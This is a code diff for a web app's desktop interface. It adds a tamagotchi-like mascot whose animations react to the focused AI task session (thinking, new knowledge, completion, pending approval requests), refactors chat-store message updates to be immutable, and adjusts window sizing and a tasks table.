localStorage.setItem(STORAGE_KEY, JSON.stringify(model))
} catch {
// ignore
}
}
}
/** Initialize the module state from localStorage. Idempotent. Call once on app boot (or first mascot mount). */
export function initMascotState(): void {
if (typeof localStorage === 'undefined') return
const loaded = load()
// Mutate the existing $state object in place — reassigning `model` to
// a new $state() isn't allowed outside the top level in runes mode.
Object.assign(model, loaded)
model.lastSeen = Date.now()
if (typeof window !== 'undefined') {
window.addEventListener('beforeunload', flushPersist)
}
}
// ─── accessors / mutators ────────────────────────────────────────────────
export function getModel(): MascotModel {
return model
}
export function setStage(stage: MascotStage): void {
model.stage = stage
if (stage !== 'egg' && model.hatchedAt === null) {
model.hatchedAt = Date.now()
}
if (stage === 'adult') {
model.xp = Math.max(model.xp, ADULT_XP)
}
schedulePersist()
}
export function setName(name: string): void {
model.name = name.slice(0, 24)
schedulePersist()
}
export function grantXp(n: number): void {
if (n === 0) return
model.xp = Math.max(0, model.xp + n)
schedulePersist()
}
export function feed(): void {
model.happiness = Math.min(100, model.happiness + 8)
grantXp(2)
}
export function pet(): void {
model.happiness = Math.min(100, model.happiness + 4)
grantXp(1)
}
export function setLastPos(x: number): void {
model.lastPos = { x }
schedulePersist()
}
export function resetModel(): void {
Object.assign(model, defaultModel())
schedulePersist()
}
/**
* Advance lifecycle state. Called ~1x/sec from Mascot.svelte's loop (NOT
* every frame). The egg → chick transition is NOT timed here — it fires
* once, on first naming (see MascotLayer's name-dialog submit handler,
* which calls forceHatch() after setName). This tick only handles slow
* passive happiness decay for hatched stages.
*/
export function tickLifecycle(dtMs: number): void {
const dtSec = dtMs / 1000
if (model.stage === 'chick') {
// Slow passive happiness decay (1/sec) so the tamagotchi benefits from
// being interacted with; only meaningful while the model is alive.
model.happiness = Math.max(0, model.happiness - 0.05 * dtSec)
}
model.lastSeen = Date.now()
advanceStageIfReady()
}
/** Promote egg -> chick when hatchProgress hits 1 (set by forceHatch on first naming), chick -> adult when xp hits ADULT_XP. */
export function advanceStageIfReady(): void {
if (model.stage === 'egg' && model.hatchProgress >= 1) {
setStage('chick')
} else if (model.stage === 'chick' && model.xp >= ADULT_XP) {
setStage('adult')
}
}
/** Hatches the egg immediately. Called from MascotLayer's name-dialog submit handler after the first naming, and from the Debug radial-menu action. */
export function forceHatch(): void {
if (model.stage === 'egg') {
model.hatchProgress = 1
setStage('chick')
}
}

View File

@@ -0,0 +1,216 @@
// Stimulus / reaction system. To add a new environment reaction:
// 1. Add a `ReactionDef` entry to REACTIONS below.
// 2. Wire a `store.subscribe -> predicate -> emit(reaction)` block
// inside `attachStimuli()`'s per-session bundle.
// The dispatch logic (priority + cooldown + interruptsSleep) is generic
// over REACTIONS — no engine change is needed for a new reaction.
//
// Reactions are dispatched into the MascotLayer via the `emit` callback
// passed to attachStimuli; MascotLayer calls forceBehavior('react', {anim,
// durationMs}) and sets the bubble (optionally overridden per-dispatch —
// see the `bubbleOverride` param — so e.g. eureka can show the actual
// knowledge title instead of a generic line). `dragged` always wins over
// any reaction; `sleep` is broken only when `interruptsSleep` is true.
//
// Scoping: everything below tracks whichever task/chat window currently has
// focus (windows.ts's focusedSessionId), re-bound every time focus moves —
// the mascot reacts to the task the operator is actually looking at, not to
// every session fleet-wide. Nothing fires while no task window is focused.
//
// `thinking`/`talking` aren't pulse reactions at all: they're the
// continuous `busy` FSM behavior (behavior.ts), driven by the second
// `setBusy` callback rather than `emit` — see the "Busy" block below.
import { derived } from 'svelte/store'
import { chatFor } from '$lib/stores/chat'
import { workspaceFor } from '$lib/stores/workspace'
import { activityLogFor } from '$lib/stores/activity'
import { focusedSessionId } from '$lib/stores/windows'
import { grantXp } from './state.svelte'
import type { AnimName } from './types'
export interface ReactionDef {
id: string
/** Animation to play while this reaction is active. */
anim: AnimName
/** Optional text/emoji shown above the mascot in a real speech bubble while this reaction plays (see MascotRuntime.bubbleText). Per-dispatch callers may override this — see `tryDispatch`'s bubbleOverride param. */
bubble?: string
/** Higher priority interrupts lower-priority reactions. */
priority: number
/** Minimum ms between dispatches of this same reaction. */
cooldownMs: number
/** How long the reaction animation plays (ms). */
durationMs: number
/** When true, breaks the mascot out of `sleep` to play the reaction. */
interruptsSleep?: boolean
/** Side effect to run on dispatch (e.g. grantXp(5) on eureka). */
effect?: () => void
}
export const REACTIONS: Record<string, ReactionDef> = {
thinking: {
id: 'thinking',
anim: 'react-think',
bubble: '💭 Thinking…',
priority: 1,
cooldownMs: 0,
durationMs: 4000,
interruptsSleep: false
},
eureka: {
id: 'eureka',
anim: 'react-eureka',
bubble: '💡 Eureka!',
priority: 2,
cooldownMs: 3000,
durationMs: 2200,
interruptsSleep: false,
effect: () => grantXp(5)
},
alarmed: {
id: 'alarmed',
anim: 'react-alarm',
bubble: '❗ Need your OK',
priority: 3,
cooldownMs: 3000,
durationMs: 2500,
interruptsSleep: true
},
happy: {
id: 'happy',
anim: 'react-happy',
bubble: '🎉 Nice work!',
priority: 1,
cooldownMs: 3000,
durationMs: 2000
}
}
/** Per-reaction last-dispatched timestamp (ms). */
const lastFired = new Map<string, number>()
/** Tracks the current reaction's priority so a lower-priority one can't interrupt a higher one mid-flight. */
let currentReactPriority = 0
let currentReactUntil = 0
const BUBBLE_MAX = 70
/** Truncate a dynamic bubble line (a knowledge title, a task summary) to something that still fits the speech bubble. */
function truncate(s: string, max = BUBBLE_MAX): string {
return s.length > max ? `${s.slice(0, max - 1)}` : s
}
/**
* Attach all stimulus subscriptions. Returns a teardown that detaches
* everything. `emit` is the MascotLayer's bridge for pulse reactions
* (eureka/alarmed/happy — priority+cooldown gated, see tryDispatch);
* `setBusy` is its bridge for the continuous thinking/talking state (no
* gating — it's a live phase, not a discrete event).
*/
export function attachStimuli(
emit: (r: ReactionDef, bubbleOverride?: string) => void,
setBusy: (phase: 'thinking' | 'talking' | null) => void
): () => void {
const unsubs: Array<() => void> = []
// Everything below is re-bound every time focus moves to a different
// task window (or away from one entirely) — teardownSession tears down
// the previous session's bundle before (re)building for the new one.
let teardownSession: (() => void) | null = null
unsubs.push(
focusedSessionId.subscribe((sid) => {
teardownSession?.()
teardownSession = null
setBusy(null)
if (!sid) return
const inner: Array<() => void> = []
const chat = chatFor(sid)
const ws = workspaceFor(sid)
const log = activityLogFor(sid)
// ─── Busy: thinking (composing, no text yet) vs talking (text is
// streaming out) — see the `busy` BehaviorDef in behavior.ts. ──────
inner.push(
derived([chat.streaming, chat.messages], ([s, msgs]) => {
if (!s) return null
const last = msgs[msgs.length - 1]
return last?.role === 'assistant' && last.text.length > 0 ? 'talking' : 'thinking'
}).subscribe(setBusy)
)
// ─── Eureka (new knowledge) / Happy (task completed successfully) —
// both derived from the session's own activity log. The store
// recomputes wholesale on every emission (not append-only), so new
// entries are detected by diffing ids against the last-seen set.
// The first emission after (re)subscribing is never replayed as
// reactions — switching focus to an already-in-progress or already-
// done task shouldn't retroactively fire pulses for old entries. ──
let seenIds = new Set<string>()
let firstLogEmission = true
inner.push(
log.subscribe((entries) => {
const nextIds = new Set<string>()
for (const e of entries) {
nextIds.add(e.id)
if (firstLogEmission || seenIds.has(e.id)) continue
if (e.type === 'knowledge') {
tryDispatch(REACTIONS.eureka, emit, `💡 ${truncate(e.description.replace(/^Recorded: /, ''))}`)
} else if (e.type === 'complete' && e.status !== 'failed') {
tryDispatch(REACTIONS.happy, emit, `🎉 ${truncate(e.description)}`)
}
}
seenIds = nextIds
firstLogEmission = false
})
)
// ─── Alarmed: a new operator question was raised (permission
// needed) — null -> non-null edge, same first-emission skip as
// above (focusing a task that already has a pending question
// shouldn't itself re-pulse the reaction). ──────────────────────
let hadQuestion = false
let firstQuestionEmission = true
inner.push(
ws.openQuestion.subscribe((q) => {
if (!firstQuestionEmission && q && !hadQuestion) {
tryDispatch(REACTIONS.alarmed, emit)
}
hadQuestion = q !== null
firstQuestionEmission = false
})
)
teardownSession = () => {
for (const u of inner) u()
}
})
)
unsubs.push(() => teardownSession?.())
return () => {
for (const u of unsubs) u()
}
}
/** Cooldown + priority gate before handing the reaction to MascotLayer. */
function tryDispatch(r: ReactionDef, emit: (r: ReactionDef, bubbleOverride?: string) => void, bubbleOverride?: string): void {
const now = performance.now()
const last = lastFired.get(r.id) ?? 0
if (r.cooldownMs > 0 && now - last < r.cooldownMs) return
// Priority: a new reaction must have priority >= the current one's,
// unless the current one has expired (now > currentReactUntil).
const currentExpired = now > currentReactUntil
if (!currentExpired && r.priority < currentReactPriority) return
lastFired.set(r.id, now)
currentReactPriority = r.priority
currentReactUntil = now + r.durationMs
emit(r, bubbleOverride)
}
/** Reset all cooldowns and priority state (e.g. on mascot reset). Exposed for tests/debug. */
export function resetStimuliState(): void {
lastFired.clear()
currentReactPriority = 0
currentReactUntil = 0
}

169
web/src/lib/mascot/types.ts Normal file
View File

@@ -0,0 +1,169 @@
// Type definitions for the desktop mascot sprite/behavior/action/reaction
// system. Every registry below (sprites.ts, behavior.ts, actions.ts,
// stimuli.ts) is plain data over these types, so each can be extended
// independently without touching the engine code in Mascot.svelte.
import type { Component } from 'svelte'
/** Slow-moving lifecycle stage of the tamagotchi. Drives which sprite set is drawn and the render scale. */
export type MascotStage = 'egg' | 'chick' | 'adult'
/** A named animation. Add a name here, then add an entry under SPRITES[stage] in sprites.ts. */
export type AnimName =
| 'egg-idle' | 'egg-wiggle' | 'egg-crack' | 'hatch'
| 'idle' | 'blink' | 'walk' | 'peck' | 'flap' | 'sleep' | 'talk'
| 'dragged' | 'fall-flutter' | 'land'
| 'react-eureka' | 'react-alarm' | 'react-think' | 'react-happy'
/**
* A sprite-sheet animation. The sheet is a horizontal strip of 16x16 px
* frames (PNG, RGBA) served from /mascot/*. The renderer slices frame
* `i` from x = i*16, y = 0, w = 16, h = 16. The whole mascot sprite
* canvas is 20x20 logical px (so feet land on a consistent ground line
* across stages); the 16x16 frame is bottom-anchored and horizontally
* centered inside it.
*
* Egg-stage animations are vector-drawn by render.ts (no PNG); their
* AnimDef entries still exist for the FSM to reference but their `src`
* is ignored.
*/
export interface AnimDef {
/** Sheet URL (resolved from /mascot/<src>). Ignored for egg-vector anims. */
src: string
/** Frame count in the sheet (sheet width = frames * 16). */
frames: number
/** Frames per second. */
fps: number
/** Whether to wrap the frame index once it reaches `frames`. */
loop: boolean
}
/** Autonomous FSM state. Add an id here, then add a BehaviorDef entry to BEHAVIORS in behavior.ts. */
export type BehaviorId =
| 'egg' | 'idle' | 'wander' | 'peck' | 'hop' | 'sleep'
| 'dragged' | 'falling' | 'land' | 'react' | 'busy'
/** Opaque identifier for an environment stimulus reaction. See stimuli.ts. */
export type Stimulus = string
/** Shape of a radial-menu action node. See actions.ts. */
export interface RadialAction {
id: string
label: string
icon?: Component
/**
* Shown as a small muted second line under the label — mainly used by
* Debug entries to say what normally triggers the thing being forced
* (e.g. "Normally fires when Nomos starts streaming a reply"), so a
* manual test doesn't need to be cross-referenced against the code to
* know what it's simulating.
*/
description?: string
/** Visibility predicate (e.g. "Rename" only once hatched). Defaults to always visible. */
visible?: (model: import('./state.svelte').MascotModel) => boolean
/** Sub-actions — selecting this node swaps the ring to its children + a back button. */
children?: RadialAction[]
/** Leaf handler. Mutates model/runtime via the passed context. */
action?: (ctx: MascotActionCtx) => void
}
/** Argument passed to a RadialAction leaf handler. */
export interface MascotActionCtx {
model: import('./state.svelte').MascotModel
runtime: MascotRuntime
/** Force a behavior (e.g. sleep). See behavior.ts. */
force: (id: BehaviorId, opts?: { anim?: AnimName; durationMs?: number }) => void
/** Request the name dialog to open. */
requestRename: () => void
/** Advance to the next lifecycle stage immediately (debug). */
forceHatch: () => void
/** Force a specific lifecycle stage (debug). */
forceStage: (stage: MascotStage) => void
/** Reset the tamagotchi model to defaults. */
reset: () => void
/** Redraw the menu (after a visibility-affecting mutation). */
refresh: () => void
}
/** Frame-to-frame state of the mascot on the desktop surface. Owned by Mascot.svelte. */
export interface MascotRuntime {
/** Sprite bottom-center, surface (not viewport) coords. */
x: number
y: number
vx: number
vy: number
facing: 1 | -1
behavior: BehaviorId
/** performance.now() ms after which the current behavior should transition (its next() is consulted). */
behaviorUntil: number
/** Currently-playing animation. */
anim: AnimName
/** performance.now() ms when the current animation started. */
animStart: number
/** When behavior === 'react', the animation to play (overrides the behavior's default anim). */
reactAnim: AnimName | null
/** Surface bounds (width/height in CSS pixels). Updated on resize. */
bounds: { w: number; h: number }
/**
* Current ground line at the mascot's x: the top edge of the highest
* non-minimized window beneath it, or bounds.h (surface bottom) when
* no window is beneath. Updated each tick by Mascot.svelte from
* wmState; the FSM uses this as the ground for falling/landing.
*/
groundY: number
/**
* Optional text/emoji shown above the mascot in a real HTML speech
* bubble (Mascot.svelte's template), not a sprite — e.g. '❤️', '💡', or
* a short phrase.
*/
bubbleText: string | null
/** performance.now() ms until which bubbleText stays visible; the game loop (tick()) clears it once this passes. */
bubbleUntil: number
/** performance.now() ms until which the idle behavior should play 'blink' instead of 'idle'. */
blinkUntil: number
/**
* performance.now() ms marking the start of the current flap/glide
* sub-phase within a `falling` behavior — see flapCycleMs below and
* scheduleFlap() in behavior.ts. Reset each time `falling` is entered.
*/
fallPhaseAt: number
/**
* Current flap-cycle length (ms) while `falling`: the interval between
* wing-beat impulses. Dynamically shortened by descent speed (panic
* flapping) plus random jitter so the rhythm never reads metronomic.
*/
flapCycleMs: number
/**
* performance.now() ms of the last ground impact (a landing or a
* bounce contact). Drives the squash-and-stretch impact spring in
* Mascot.svelte and the feather-poof particle spawn. 0 = never landed.
*/
squashAt: number
/**
* Descent speed (px/s) at the moment of the last ground impact —
* scales the squash-spring depth and the feather-poof size.
* 0 = a gentle set-down (no squash, no poof).
*/
impactVy: number
/**
* Bounces so far in the current fall. Reset to 0 by `falling.enter()`;
* capped by BOUNCE_MAX in behavior.ts.
*/
bounceCount: number
/**
* Set (by Mascot.svelte's onPointerUp) when a drag is released on top of
* a desktop icon. Consumed once by the `land` BehaviorDef's `next()` —
* routes the next landing to `peck` instead of `idle`, whether that
* landing happens immediately (already on the ground) or after a fall.
* Always false outside that one moment.
*/
investigateOnLand: boolean
/**
* When behavior === 'busy': which phase of the focused task's active
* turn to render — true plays the 'talk' sprite (text is streaming
* out), false plays 'react-think' (computing, nothing written yet).
* Set directly by MascotLayer's busy-state callback (see stimuli.ts);
* read each tick by the `busy` BehaviorDef's anim() in behavior.ts.
*/
busyTalking: boolean
}

View File

@@ -20,6 +20,7 @@ export interface ChatMessage {
text: string
tools: ToolCallResult[]
pendingApprovals: PendingApproval[]
created_at?: string
}
const APPROVAL_RE = /execution\s+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})/i
@@ -122,7 +123,8 @@ function toChatMessages(msgs: Message[]): ChatMessage[] {
role: m.role as 'user' | 'assistant',
text: content?.text ?? '',
tools,
pendingApprovals: extractApprovals(tools)
pendingApprovals: extractApprovals(tools),
created_at: m.created_at
}
})
}
@@ -209,7 +211,7 @@ export function sendMessage(text: string) {
}
messages.update((ms) => [...ms, assistantMsg])
let activeTools: Map<string, ToolCallResult> = new Map()
const activeTools: Map<string, ToolCallResult> = new Map()
// Multiple tasks can stream concurrently (the backend runs each turn as its
// own goroutine — nothing serializes them), but `messages`/`currentSession`
@@ -262,7 +264,7 @@ export function sendMessage(text: string) {
messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.tools = [...last.tools, tr]
ms[ms.length - 1] = { ...last, tools: [...last.tools, tr] }
}
return [...ms]
})
@@ -279,10 +281,10 @@ export function sendMessage(text: string) {
messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.tools = last.tools.map((t) =>
const tools = last.tools.map((t) =>
t.id === ev.data.id ? updated : t
)
last.pendingApprovals = extractApprovals(last.tools)
ms[ms.length - 1] = { ...last, tools, pendingApprovals: extractApprovals(tools) }
}
return [...ms]
})
@@ -291,7 +293,7 @@ export function sendMessage(text: string) {
messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.text += ev.data
ms[ms.length - 1] = { ...last, text: last.text + ev.data }
}
return [...ms]
})
@@ -300,7 +302,7 @@ export function sendMessage(text: string) {
messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.text = ev.data
ms[ms.length - 1] = { ...last, text: ev.data }
}
return [...ms]
})
@@ -310,7 +312,7 @@ export function sendMessage(text: string) {
messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.pendingApprovals = extractApprovals(last.tools)
ms[ms.length - 1] = { ...last, pendingApprovals: extractApprovals(last.tools) }
}
return [...ms]
})
@@ -580,7 +582,7 @@ export function sendSessionMessage(sessionId: string, text: string) {
const assistantMsg: ChatMessage = { id: mid(), role: 'assistant', text: '', tools: [], pendingApprovals: [] }
chat.messages.update((ms) => [...ms, assistantMsg])
let activeTools: Map<string, ToolCallResult> = new Map()
const activeTools: Map<string, ToolCallResult> = new Map()
let receivedDone = false
const controller = streamChat(
@@ -593,7 +595,9 @@ export function sendSessionMessage(sessionId: string, text: string) {
activeTools.set(ev.data.id, tr)
chat.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.tools = [...last.tools, tr]
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, tools: [...last.tools, tr] }
}
return [...ms]
})
} else if (ev.type === 'tool_result') {
@@ -604,8 +608,8 @@ export function sendSessionMessage(sessionId: string, text: string) {
chat.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.tools = last.tools.map((t) => (t.id === ev.data.id ? updated : t))
last.pendingApprovals = extractApprovals(last.tools)
const tools = last.tools.map((t) => (t.id === ev.data.id ? updated : t))
ms[ms.length - 1] = { ...last, tools, pendingApprovals: extractApprovals(tools) }
}
return [...ms]
})
@@ -613,13 +617,17 @@ export function sendSessionMessage(sessionId: string, text: string) {
} else if (ev.type === 'text_delta') {
chat.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.text += ev.data
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, text: last.text + ev.data }
}
return [...ms]
})
} else if (ev.type === 'text') {
chat.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.text = ev.data
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, text: ev.data }
}
return [...ms]
})
} else if (ev.type === 'done') {
@@ -627,7 +635,9 @@ export function sendSessionMessage(sessionId: string, text: string) {
chat.connectionState.set('connected')
chat.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.pendingApprovals = extractApprovals(last.tools)
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, pendingApprovals: extractApprovals(last.tools) }
}
return [...ms]
})
startSessionPolling(sessionId)
@@ -694,7 +704,9 @@ export function startTask(text: string, onSession: (sessionId: string) => void):
activeTools.set(ev.data.id, tr)
c.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.tools = [...last.tools, tr]
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, tools: [...last.tools, tr] }
}
return [...ms]
})
} else if (ev.type === 'tool_result') {
@@ -705,8 +717,8 @@ export function startTask(text: string, onSession: (sessionId: string) => void):
c.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') {
last.tools = last.tools.map((t) => (t.id === ev.data.id ? updated : t))
last.pendingApprovals = extractApprovals(last.tools)
const tools = last.tools.map((t) => (t.id === ev.data.id ? updated : t))
ms[ms.length - 1] = { ...last, tools, pendingApprovals: extractApprovals(tools) }
}
return [...ms]
})
@@ -714,13 +726,17 @@ export function startTask(text: string, onSession: (sessionId: string) => void):
} else if (ev.type === 'text_delta') {
c.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.text += ev.data
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, text: last.text + ev.data }
}
return [...ms]
})
} else if (ev.type === 'text') {
c.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.text = ev.data
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, text: ev.data }
}
return [...ms]
})
} else if (ev.type === 'done') {
@@ -728,7 +744,9 @@ export function startTask(text: string, onSession: (sessionId: string) => void):
c.connectionState.set('connected')
c.messages.update((ms) => {
const last = ms[ms.length - 1]
if (last && last.role === 'assistant') last.pendingApprovals = extractApprovals(last.tools)
if (last && last.role === 'assistant') {
ms[ms.length - 1] = { ...last, pendingApprovals: extractApprovals(last.tools) }
}
return [...ms]
})
startSessionPolling(sessionId)

View File

@@ -3,12 +3,19 @@
// opened from Knowledge Base, chat, or anywhere else land in the same
// floating window layer, with several windows open side by side, rather than
// each page owning its own single-entity sidebar/sheet.
import { derived, type Readable } from 'svelte/store'
import { createManager, createDesktop, wmStore } from '@surdeddd/wmkit/svelte'
import { persist } from '@surdeddd/wmkit/persist'
import { appById, appWindowId } from '$lib/apps'
import { sessions } from '$lib/stores/chat'
import { heading } from '$lib/tasks'
// Window ids for a task/session's chat window are namespaced `session:<id>`
// — see openTaskWindow below. Shared here (rather than each file redeclaring
// its own copy) since both WindowLayer.svelte and focusedSessionId below
// need to parse it.
export const SESSION_PREFIX = 'session:'
export const wm = createManager({ defaultSize: { width: 480, height: 560 } })
export const dk = createDesktop(wm, {
// topEdge:'maximize' + preview gives the classic drag-to-top-maximizes
@@ -23,6 +30,15 @@ export const dk = createDesktop(wm, {
})
export const wmState = wmStore(wm)
// The session id backing whichever task/chat window currently has focus, or
// null when no task window is focused (Tasks app, an entity window, or
// nothing at all). The desktop mascot's stimuli (stimuli.ts) key off this so
// its reactions track the task the operator is actually looking at, rather
// than firing for every session fleet-wide.
export const focusedSessionId: Readable<string | null> = derived(wmState, ($s) =>
$s.focusedId?.startsWith(SESSION_PREFIX) ? $s.focusedId.slice(SESSION_PREFIX.length) : null
)
// Layout survives reloads: every window id is self-describing (app:<id>,
// session:<id>, or a bare entity slug — see EntityDesktop/WindowLayer's
// content branch), so a hydrated window needs no extra bookkeeping to know
@@ -94,9 +110,10 @@ export function openEntityWindow(slug: string | null): void {
// Singleton "compose a new task" window — the Tasks app's New Task button
// opens this rather than a dialog, since everything else in the desktop is
// already a window; TaskLauncher closes it itself (via its onStarted
// callback, wired up in WindowLayer.svelte) once the task's session window
// takes over.
// already a window. It renders as an empty chat (NewTaskChat, in
// WindowLayer.svelte) sized like a real task window rather than a separate
// compose screen, and closes itself once the task's session window takes
// over.
export const NEW_TASK_WINDOW_ID = 'new-task'
export function openNewTaskWindow(): void {
@@ -105,7 +122,7 @@ export function openNewTaskWindow(): void {
wm.focus(NEW_TASK_WINDOW_ID)
return
}
wm.open({ id: NEW_TASK_WINDOW_ID, title: 'New task', width: 480, height: 340, minWidth: 360, minHeight: 280 })
wm.open({ id: NEW_TASK_WINDOW_ID, title: 'New task', width: 900, height: 640, minWidth: 600, minHeight: 400 })
}
// Same dedupe/restore/focus pattern as openEntityWindow, for a task/session's
@@ -122,5 +139,5 @@ export function openTaskWindow(sessionId: string | null, title: string): void {
wm.focus(id)
return
}
wm.open({ id, title, width: 900, height: 640 })
wm.open({ id, title, width: 900, height: 640, minWidth: 600, minHeight: 400 })
}

View File

@@ -5,7 +5,6 @@
import { liveEvents, subscribeEvents } from '$lib/stores/events'
import { bucket, statusStyle, FILTERS, TASK_EVENTS, heading, type Bucket } from '$lib/tasks'
import { relativeTime } from '$lib/utils'
import GraphBackground from '$lib/components/GraphBackground.svelte'
import { Button } from '$lib/components/ui/button'
import PlusIcon from '@lucide/svelte/icons/plus'
import type { Session } from '$lib/api'
@@ -55,7 +54,6 @@
</script>
<div class="relative flex h-full flex-col gap-3 overflow-hidden p-4">
<GraphBackground />
<div class="relative z-10 flex flex-wrap items-center gap-1.5">
{#each FILTERS as f}
@@ -89,7 +87,7 @@
{:else}
<table class="w-full text-sm">
<thead>
<tr class="border-b text-left text-xs text-muted-foreground">
<tr class="border-b text-left text-xs text-muted-foreground [&>th]:sticky [&>th]:top-0 [&>th]:z-10 [&>th]:bg-card/95 [&>th]:backdrop-blur">
<th class="w-36 px-4 py-2 font-medium">Status</th>
<th class="px-4 py-2 font-medium">Task</th>
<th class="hidden px-4 py-2 font-medium md:table-cell">Summary</th>